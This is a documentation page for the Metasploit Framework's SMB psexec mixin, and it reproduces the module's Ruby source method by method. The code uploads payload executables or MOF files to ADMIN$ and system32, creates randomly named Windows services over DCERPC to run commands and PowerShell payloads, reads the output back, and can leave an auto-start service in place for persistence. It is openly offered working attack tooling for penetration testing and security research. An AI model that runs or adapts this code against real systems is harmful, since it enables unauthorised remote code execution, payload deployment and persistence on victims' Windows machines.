Module: Msf::Exploit::Remote::SMB::Client::Psexec
- Includes:
- Failure, DCERPC, Authenticated, Windows_Constants
- Included in:
- Psexec_MS17_010
- Defined in:
- lib/msf/core/exploit/remote/smb/client/psexec.rb
Overview
Allows for reuse of the psexec code execution technique
This code was stolen straight out of the psexec module. Thanks very much for all who contributed to that module!! Instead of uploading and running a binary.
Constant Summary
Constants included from Msf::Exploit::Remote::SMB::Client
CONST, DCERPCClient, DCERPCPacket, DCERPCResponse, DCERPCUUID, NDR, SIMPLE, XCEPT
Constants included from DCERPC
DCERPC::DCERPCClient, DCERPC::DCERPCPacket, DCERPC::DCERPCResponse, DCERPC::DCERPCUUID, DCERPC::NDR
Constants included from DCERPC_LSA
Constants included from DCERPC_MGMT
Constants included from Windows_Constants
Windows_Constants::CHANGE_SERVICE_CONFIG2_W, Windows_Constants::CHANGE_SERVICE_CONFIG_W, Windows_Constants::CLOSE_SERVICE_HANDLE, Windows_Constants::CONTROL_SERVICE, Windows_Constants::CREATE_SERVICE_W, Windows_Constants::DELETE_SERVICE, Windows_Constants::OPEN_SC_MANAGER_W, Windows_Constants::OPEN_SERVICE_W, Windows_Constants::QUERY_SERVICE_STATUS, Windows_Constants::SC_MANAGER_ALL_ACCESS, Windows_Constants::SC_MANAGER_CONNECT, Windows_Constants::SC_MANAGER_CREATE_SERVICE, Windows_Constants::SC_MANAGER_ENUMERATE_SERVICE, Windows_Constants::SC_MANAGER_LOCK, Windows_Constants::SC_MANAGER_MODIFY_BOOT_CONFIG, Windows_Constants::SC_MANAGER_QUERY_LOCK_STATUS, Windows_Constants::SERVICE_ACCEPT_HARDWAREPROFILECHANGE, Windows_Constants::SERVICE_ACCEPT_NETBINDCHANGE, Windows_Constants::SERVICE_ACCEPT_PARAMCHANGE, Windows_Constants::SERVICE_ACCEPT_PAUSE_CONTINUE, Windows_Constants::SERVICE_ACCEPT_POWEREVENT, Windows_Constants::SERVICE_ACCEPT_PRESHUTDOWN, Windows_Constants::SERVICE_ACCEPT_SESSIONCHANGE, Windows_Constants::SERVICE_ACCEPT_SHUTDOWN, Windows_Constants::SERVICE_ACCEPT_STOP, Windows_Constants::SERVICE_ACCEPT_TIMECHANGE, Windows_Constants::SERVICE_ACCEPT_TRIGGEREVENT, Windows_Constants::SERVICE_ACTIVE, Windows_Constants::SERVICE_ALL_ACCESS, Windows_Constants::SERVICE_AUTO_START, Windows_Constants::SERVICE_BOOT_START, Windows_Constants::SERVICE_CHANGE_CONFIG, Windows_Constants::SERVICE_CONFIG_DELAYED_AUTO_START_INFO, Windows_Constants::SERVICE_CONFIG_DESCRIPTION, Windows_Constants::SERVICE_CONFIG_FAILURE_ACTIONS, Windows_Constants::SERVICE_CONFIG_FAILURE_ACTIONS_FLAG, Windows_Constants::SERVICE_CONFIG_LAUNCH_PROTECTED, Windows_Constants::SERVICE_CONFIG_PREFERRED_NODE, Windows_Constants::SERVICE_CONFIG_PRESHUTDOWN_INFO, Windows_Constants::SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO, Windows_Constants::SERVICE_CONFIG_SERVICE_SID_INFO, Windows_Constants::SERVICE_CONFIG_TRIGGER_INFO, Windows_Constants::SERVICE_CONTINUE_PENDING, Windows_Constants::SERVICE_CONTROL_CONTINUE, Windows_Constants::SERVICE_CONTROL_DEVICEEVENT, Windows_Constants::SERVICE_CONTROL_HARDWAREPROFILECHANGE, Windows_Constants::SERVICE_CONTROL_INTERROGATE, Windows_Constants::SERVICE_CONTROL_NETBINDADD, Windows_Constants::SERVICE_CONTROL_NETBINDDISABLE, Windows_Constants::SERVICE_CONTROL_NETBINDENABLE, Windows_Constants::SERVICE_CONTROL_NETBINDREMOVE, Windows_Constants::SERVICE_CONTROL_PARAMCHANGE, Windows_Constants::SERVICE_CONTROL_PAUSE, Windows_Constants::SERVICE_CONTROL_POWEREVENT, Windows_Constants::SERVICE_CONTROL_PRESHUTDOWN, Windows_Constants::SERVICE_CONTROL_SESSIONCHANGE, Windows_Constants::SERVICE_CONTROL_SHUTDOWN, Windows_Constants::SERVICE_CONTROL_STOP, Windows_Constants::SERVICE_CONTROL_TIMECHANGE, Windows_Constants::SERVICE_CONTROL_TRIGGEREVENT, Windows_Constants::SERVICE_DEMAND_START, Windows_Constants::SERVICE_DISABLED, Windows_Constants::SERVICE_ENUMERATE_DEPENDENTS, Windows_Constants::SERVICE_ERROR_IGNORE, Windows_Constants::SERVICE_INACTIVE, Windows_Constants::SERVICE_INTERACTIVE_PROCESS, Windows_Constants::SERVICE_INTERROGATE, Windows_Constants::SERVICE_NO_CHANGE, Windows_Constants::SERVICE_PAUSED, Windows_Constants::SERVICE_PAUSE_CONTINUE, Windows_Constants::SERVICE_PAUSE_PENDING, Windows_Constants::SERVICE_QUERY_CONFIG, Windows_Constants::SERVICE_QUERY_STATUS, Windows_Constants::SERVICE_RUNNING, Windows_Constants::SERVICE_RUNS_IN_SYSTEM_PROCESS, Windows_Constants::SERVICE_START, Windows_Constants::SERVICE_START_PENDING, Windows_Constants::SERVICE_STATE_ALL, Windows_Constants::SERVICE_STOP, Windows_Constants::SERVICE_STOPPED, Windows_Constants::SERVICE_STOP_PENDING, Windows_Constants::SERVICE_SYSTEM_START, Windows_Constants::SERVICE_USER_DEFINED_CONTROL, Windows_Constants::SERVICE_WIN32_OWN_PROCESS, Windows_Constants::STANDARD_RIGHTS_REQUIRED
Instance Attribute Summary
Attributes included from Msf::Exploit::Remote::SMB::Client
Attributes included from Tcp
Attributes included from DCERPC
Instance Method Summary collapse
-
#display_name ⇒ String
Retrieve the SERVICE_DISPLAY_NAME option, generate a random one if not already set.
- #execute_command(text, bat, cmd) ⇒ Object
- #execute_command_payload(smbshare) ⇒ Object
- #execute_command_with_output(text, bat, cmd, smb_share, r_ip, delay: 0, retries: 0) ⇒ Object
- #execute_powershell_payload ⇒ Object
- #initialize(info = {}) ⇒ Object
- #mof_upload(smb_share) ⇒ Object
- #native_upload(smb_share, filename, service_encoder) ⇒ Object
- #powershell_installed?(smb_share, psh_path) ⇒ Boolean
-
#psexec(command, disconnect = true) ⇒ Boolean
Executes a single windows command.
-
#service_description ⇒ String
Retrieve the SERVICE_DESCRIPTION option.
-
#service_name ⇒ String
Retrieve the SERVICE_NAME option, generate a random one if not already set.
-
#smb_read_file(smbshare, host, file) ⇒ String?
Retrieves output from the executed command.
Methods included from Kerberos::ServiceAuthenticator::Options
Methods included from Kerberos::Ticket::Storage
#kerberos_storage_options, #kerberos_ticket_storage, store_ccache
Methods included from Msf::Exploit::Remote::SMB::Client
#connect, #domain, #domain_username_split, #smb_create, #smb_direct, #smb_enumprinters, #smb_enumprintproviders, #smb_file_exist?, #smb_file_rm, #smb_fingerprint, #smb_fingerprint_windows_lang, #smb_fingerprint_windows_sp, #smb_hostname, #smb_lanman_netshareenumall, #smb_login, #smb_lookup_share_type, #smb_netshareenumall, #smb_netsharegetinfo, #smb_open, #smb_peer_lm, #smb_peer_os, #smb_srvsvc_netshareenumall, #smb_srvsvc_netsharegetinfo, #smbhost, #splitname, #unicode
Methods included from Tcp
#chost, #cleanup, #connect, #connect_timeout, #cport, #disconnect, #handler, #lhost, #lport, #peer, #print_prefix, #proxies, #rhost, #rport, #set_tcp_evasions, #shutdown, #ssl, #ssl_cipher, #ssl_verify_mode, #ssl_version
Methods included from DCERPC
#dcerpc_bind, #dcerpc_call, #dcerpc_getarch, #dcerpc_handle, #dcerpc_handle_target, #unicode
Methods included from DCERPC_LSA
Methods included from DCERPC_MGMT
#dcerpc_mgmt_connect, #dcerpc_mgmt_inq_if_ids, #dcerpc_mgmt_inq_if_stats, #dcerpc_mgmt_inq_princ_name, #dcerpc_mgmt_is_server_listening, #dcerpc_mgmt_stop_server_listening
Methods included from DCERPC_EPM
#dcerpc_endpoint_find_tcp, #dcerpc_endpoint_find_udp, #dcerpc_endpoint_list
Instance Method Details
#display_name ⇒ String
Retrieve the SERVICE_DISPLAY_NAME option, generate a random one if not already set.
52 53 54 55 |
# File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 52 def display_name @display_name ||= datastore['SERVICE_DISPLAY_NAME'] @display_name ||= Rex::Text.rand_text_alpha(16) end |
#execute_command(text, bat, cmd) ⇒ Object
241 242 243 244 245 246 247 248 249 250 251 252 253 |
# File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 241 def execute_command(text, bat, cmd) # Try and execute the provided command cmd = Msf::Post::Windows.escape_cmd_literal(cmd, spaces: false) execute = "%COMSPEC% /C echo #{cmd} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}" vprint_status("Executing the command: #{execute}") begin return psexec(execute) rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e elog('Unable to execute specified command', 'rex', LEV_3, error: e) print_error("Unable to execute specified command: #{e}") return false end end |
#execute_command_payload(smbshare) ⇒ Object
221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 |
# File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 221 def execute_command_payload(smbshare) text = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.txt" bat = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.bat" command = payload.encoded output = execute_command_with_output(text, bat, command, smbshare, simple.address, delay: datastore['CMD::DELAY']) unless output.nil? print_good('Command completed successfully!') print_status("Output for \"#{ command }\":\n") print_line("#{output}\n") report_note( :rhost => simple.address, :rport => simple.port, :type => 'psexec_command', :name => command, :data => output ) end end |
#execute_command_with_output(text, bat, cmd, smb_share, r_ip, delay: 0, retries: 0) ⇒ Object
255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 |
# File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 255 def execute_command_with_output(text, bat, cmd, smb_share, r_ip, delay: 0, retries: 0) res = execute_command(text, bat, cmd) if res for i in 0..(retries) Rex.sleep(delay) # if the output file is still locked then the program is still likely running if (exclusive_access(text, smb_share, r_ip)) break elsif (i == retries) print_error("Command seems to still be executing. Try increasing RETRY and DELAY") end end output = get_output(text, smb_share, r_ip) end cleanup_after(bat, smb_share, r_ip) output end |
#execute_powershell_payload ⇒ Object
274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 |
# File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 274 def execute_powershell_payload ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME'] command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) if datastore['PSH::persist'] and not datastore['DisablePayloadHandler'] print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option") end # Execute the powershell command print_status("Executing the payload...") begin psexec(command) rescue RubySMB::Error::CommunicationError => exec_command_error vprint_error("#{peer} - Possibly failed to execute the specified command (error: #{exec_command_error})") unless session_created? rescue StandardError => exec_command_error fail_with(Msf::Exploit::Failure::Unknown, "#{peer} - Unable to execute the specified command (error: #{exec_command_error})") end end |
#initialize(info = {}) ⇒ Object
23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
# File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 23 def initialize(info = {}) super ( [ OptString.new('SERVICE_NAME', [ false, 'The service name', nil]), OptString.new('SERVICE_DISPLAY_NAME', [ false, 'The service display name', nil]), OptString.new('SERVICE_DESCRIPTION', [false, "Service description to be used on target for pretty listing",nil]) ], self.class) ( [ OptBool.new('SERVICE_PERSIST', [ true, 'Create an Auto run service and do not remove it.', false]), OptInt.new('CMD::DELAY', [false, 'A delay (in seconds) before reading the command output and cleaning up', 3]) ], self.class) end |
#mof_upload(smb_share) ⇒ Object
364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 |
# File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 364 def mof_upload(smb_share) share = "\\\\#{simple.address}\\ADMIN$" filename = "#{Rex::Text.rand_text_alpha(8)}.exe" # payload as exe print_status("Trying wbemexec...") print_status("Uploading Payload...") if smb_share != 'ADMIN$' print_error('Wbem will only work with ADMIN$ share') return end simple.connect(share) exe = generate_payload_exe fd = smb_open("\\system32\\#{filename}", 'rwct', write: true) fd << exe fd.close print_status("Created %SystemRoot%\\system32\\#{filename}") # mof to cause execution of above mofname = Rex::Text.rand_text_alphanumeric(14) + ".MOF" mof = generate_mof(mofname, filename) print_status("Uploading MOF...") fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct', write: true) fd << mof fd.close print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}") # Disconnect from the ADMIN$ simple.disconnect(share) end |
#native_upload(smb_share, filename, service_encoder) ⇒ Object
293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 |
# File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 293 def native_upload(smb_share, filename, service_encoder) # Upload the shellcode to a file print_status("Uploading payload... #{filename}") smbshare = smb_share fileprefix = "" # if SHARE = Users/sasha/ or something like this if smbshare =~ /.[\\\/]/ subfolder = true smbshare = smb_share.dup smbshare = smbshare.gsub(/^[\\\/]/,"") folder_list = smbshare.split(/[\\\/]/) smbshare = folder_list[0] fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1 simple.connect("\\\\#{simple.address}\\#{smbshare}") fd = smb_open("#{fileprefix}\\#{filename}", 'rwct', write: true) else subfolder = false simple.connect("\\\\#{simple.address}\\#{smbshare}") fd = smb_open("#{filename}", 'rwct', write: true) end exe = '' opts = { :servicename => service_name, :serviceencoder => service_encoder} begin exe = generate_payload_exe_service(opts) fd << exe ensure fd.close end if subfolder print_status("Created \\#{fileprefix}\\#{filename}...") else print_status("Created \\#{filename}...") end # Disconnect from the share simple.disconnect("\\\\#{simple.address}\\#{smbshare}") # define the file location if smb_share == 'ADMIN$' file_location = "%SYSTEMROOT%\\#{filename}" elsif smb_share =~ /^[a-zA-Z]\$$/ file_location = smb_share.slice(0,1) + ":\\#{filename}" else file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}" end psexec(file_location, false) unless datastore['SERVICE_PERSIST'] print_status("Deleting \\#{filename}...") #This is not really useful but will prevent double \\ on the wire :) if smb_share =~ /.[\\\/]/ simple.connect("\\\\#{simple.address}\\#{smbshare}") begin simple.delete("#{fileprefix}\\#{filename}") rescue XCEPT::ErrorCode => e print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.}") end else simple.connect("\\\\#{simple.address}\\#{smbshare}") begin simple.delete("#{filename}") rescue XCEPT::ErrorCode => e print_error("Delete of \\#{filename} failed: #{e.}") end end end end |
#powershell_installed?(smb_share, psh_path) ⇒ Boolean
195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 |
# File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 195 def powershell_installed?(smb_share, psh_path) share = "\\\\#{simple.address}\\#{smb_share}" case smb_share.upcase when 'ADMIN$' path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe' when 'C$' path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe' else path = psh_path end simple.connect(share) vprint_status("Checking for #{path}") if smb_file_exist?(path) vprint_status('PowerShell found') psh = true else vprint_status('PowerShell not found') psh = false end simple.disconnect(share) psh end |
#psexec(command, disconnect = true) ⇒ Boolean
Executes a single windows command.
If you want to retrieve the output of your command you’ll have to echo it to a .txt file and then use the #smb_read_file method to retrieve it. Make sure to remove the files manually or use FileDropper#register_files_for_cleanup to have the FileDropper#cleanup and FileDropper#on_new_session handlers do it for you.
98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 |
# File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 98 def psexec(command, disconnect=true) remove_socket(self.sock) simple.connect("\\\\#{simple.address}\\IPC$") handle = dcerpc_handle_target('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"], simple.address) vprint_status("Binding to #{handle} ...") dcerpc_bind(handle) vprint_status("Bound to #{handle} ...") vprint_status("Obtaining a service manager handle...") svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc) scm_handle, scm_status = svc_client.openscmanagerw(simple.address) if scm_status == ERROR_ACCESS_DENIED print_error("ERROR_ACCESS_DENIED opening the Service Manager") end return false unless scm_handle if datastore['SERVICE_PERSIST'] opts = { :start => SERVICE_AUTO_START } else opts = {} end vprint_status("Creating the service...") svc_handle, svc_status = svc_client.createservicew(scm_handle, service_name, display_name, command, opts) case svc_status when ERROR_SUCCESS vprint_good("Successfully created the service") when ERROR_SERVICE_EXISTS service_exists = true print_warning("Service already exists, opening a handle...") svc_handle = svc_client.openservicew(scm_handle, service_name) when ERROR_ACCESS_DENIED print_error("Unable to create service, ACCESS_DENIED, did AV gobble your binary?") return false else print_error("Failed to create service, ERROR_CODE: #{svc_status}") return false end if svc_handle.nil? print_error("No service handle retrieved") return false end if service_description vprint_status("Changing service description...") svc_client.changeservicedescription(svc_handle, service_description) end vprint_status("Starting the service...") begin svc_status = svc_client.startservice(svc_handle) case svc_status when ERROR_SUCCESS print_good("Service started successfully...") when ERROR_FILE_NOT_FOUND print_error("Service failed to start - FILE_NOT_FOUND") when ERROR_ACCESS_DENIED print_error("Service failed to start - ACCESS_DENIED") when ERROR_SERVICE_REQUEST_TIMEOUT print_good("Service start timed out, OK if running a command or non-service executable...") else print_error("Service failed to start, ERROR_CODE: #{svc_status}") end ensure begin # If service already exists don't delete it! # Maybe we could have a force cleanup option..? if service_exists print_warning("Not removing service as it already existed...") elsif datastore['SERVICE_PERSIST'] print_warning("Not removing service for persistence...") else vprint_status("Removing the service...") svc_status = svc_client.deleteservice(svc_handle) if svc_status == ERROR_SUCCESS vprint_good("Successfully removed the service") else print_error("Unable to remove the service, ERROR_CODE: #{svc_status}") end end ensure vprint_status("Closing service handle...") svc_client.closehandle(svc_handle) end end if disconnect simple.disconnect("\\\\#{simple.address}\\IPC$") end true end |
#service_description ⇒ String
Retrieve the SERVICE_DESCRIPTION option
60 61 62 |
# File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 60 def service_description @service_description ||= datastore['SERVICE_DESCRIPTION'] end |
#service_name ⇒ String
Retrieve the SERVICE_NAME option, generate a random one if not already set.
43 44 45 46 |
# File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 43 def service_name @service_name ||= datastore['SERVICE_NAME'] @service_name ||= Rex::Text.rand_text_alpha(8) end |
#smb_read_file(smbshare, host, file) ⇒ String?
Retrieves output from the executed command
72 73 74 75 76 77 78 79 80 81 82 83 84 |
# File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 72 def smb_read_file(smbshare, host, file) begin simple.connect("\\\\#{host}\\#{smbshare}") file = simple.open(file, 'o') contents = file.read file.close simple.disconnect("\\\\#{host}\\#{smbshare}") return contents rescue Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e print_error("Unable to read file #{file}. #{e.class}: #{e}.") return nil end end |